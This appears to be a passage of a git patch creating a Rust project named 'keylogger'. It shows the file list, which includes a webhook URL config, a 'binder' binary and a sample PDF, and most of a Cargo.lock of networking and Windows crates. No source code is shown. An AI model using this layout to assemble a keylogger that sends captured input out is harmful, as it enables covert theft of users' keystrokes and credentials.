From a006e506bb1e3a6a1b7e149903c9e77e657ebca3 Mon Sep 17 00:00:00 2001 From: Axiean Date: Fri, 11 Jul 2025 22:56:10 +0330 Subject: [PATCH] init --- .gitignore | 1 + Cargo.lock | 1656 ++++++++++++++++++++++++++++++++++++++++++++ Cargo.toml | 16 + README.md | 83 +++ assets/sample.pdf | Bin 0 -> 49672 bytes config/webhook.url | 1 + src/bin/binder.rs | 79 +++ src/main.rs | 208 ++++++ 8 files changed, 2044 insertions(+) create mode 100644 .gitignore create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 README.md create mode 100644 assets/sample.pdf create mode 100644 config/webhook.url create mode 100644 src/bin/binder.rs create mode 100644 src/main.rs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..9b2edee --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,1656 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "addr2line" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "autocfg" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" + +[[package]] +name = "backtrace" +version = "0.3.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002" +dependencies = [ + "addr2line", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", + "windows-targets 0.52.6", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" + +[[package]] +name = "bumpalo" +version = "3.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cc" +version = "1.2.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c1599538de2394445747c8cf7935946e3cc27e9625f889d979bfb2aaf569362" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "chrono" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "encoding_rs" +version = "0.8.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-core", + "futures-io", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + +[[package]] +name = "gimli" +version = "0.31.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" + +[[package]] +name = "h2" +version = "0.3.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81fe527a889e1532da5c525686d96d4c2e74cdd345badf8dfef9f6b39dd5f5e8" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5971ac85611da7067dbfcabef3c70ebb5606018acd9e2a3903a0da507521e0d5" + +[[package]] +name = "http" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.63" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core 0.61.2", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "200072f5d0e3614556f94a9930d5dc3e0662a652823904c3a75dc3b0af7fee47" +dependencies = [ + "displaydoc", + "potential_utf", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cde2700ccaed3872079a65fb1a78f6c0a36c91570f28755dda67bc8f7d9f00a" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "436880e8e18df4d7bbc06d58432329d6458cc84531f7ac5f024e93deadb37979" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00210d6893afc98edb752b664b8890f0ef174c8adbb8d0be9710fa66fbbf72d3" + +[[package]] +name = "icu_properties" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "016c619c1eeb94efb86809b015c58f479963de65bdb6253345c1a1276f22e32b" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "potential_utf", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "298459143998310acd25ffe6810ed544932242d3f07083eee1084d83a71bd632" + +[[package]] +name = "icu_provider" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03c80da27b5f4187909049ee2d72f276f0d9f99a42c306bd0131ecfe04d8e5af" +dependencies = [ + "displaydoc", + "icu_locale_core", + "stable_deref_trait", + "tinystr", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "idna" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "io-uring" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b86e202f00093dcba4275d4636b93ef9dd75d025ae560d2521b45ea28ab49013" +dependencies = [ + "bitflags 2.9.1", + "cfg-if", + "libc", +] + +[[package]] +name = "ipnet" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "js-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "keylogger" +version = "0.1.0" +dependencies = [ + "chrono", + "reqwest", + "windows", + "winreg 0.11.0", +] + +[[package]] +name = "libc" +version = "0.2.174" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "litemap" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "241eaef5fd12c88705a01fc1066c48c4b36e0dd4377dcdc7ec3942cea7a69956" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", +] + +[[package]] +name = "mio" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78bed444cc8a2160f01cbcf811ef18cac863ad68ae8ca62092e8db51d51c761c" +dependencies = [ + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", + "windows-sys 0.59.0", +] + +[[package]] +name = "native-tls" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "object" +version = "0.36.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "openssl" +version = "0.10.73" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8505734d46c8ab1e19a1dce3aef597ad87dcb4c37e7188231769bd6bd51cebf8" +dependencies = [ + "bitflags 2.9.1", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90096e2e47630d78b7d1c20952dc621f957103f8bc2c8359ec81290d75238571" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "potential_utf" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5a7c30837279ca13e7c867e9e40053bc68740f988cb07f7ca6df43cc734b585" +dependencies = [ + "zerovec", +] + +[[package]] +name = "proc-macro2" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "reqwest" +version = "0.11.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62" +dependencies = [ + "base64", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-native-tls", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "winreg 0.50.0", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "989e6739f80c4ad5b13e0fd7fe89531180375b18520cc8c82080e4dc4035b84f" + +[[package]] +name = "rustix" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266" +dependencies = [ + "bitflags 2.9.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64", +] + +[[package]] +name = "rustversion" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d" + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "schannel" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.9.1", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "serde" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.140" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04dc19736151f35336d325007ac991178d504a119863a2fcb3758cdb5e52c50d" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "syn" +version = "2.0.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tempfile" +version = "3.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys 0.59.0", +] + +[[package]] +name = "tinystr" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d4f6d1145dcb577acf783d4e601bc1d76a13337bb54e6233add580b07344c8b" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tokio" +version = "1.46.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cc3a2344dafbe23a245241fe8b09735b521110d30fcefbbd5feb1797ca35d17" +dependencies = [ + "backtrace", + "bytes", + "io-uring", + "libc", + "mio", + "pin-project-lite", + "slab", + "socket2", + "windows-sys 0.52.0", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" +dependencies = [ + "once_cell", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "url" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 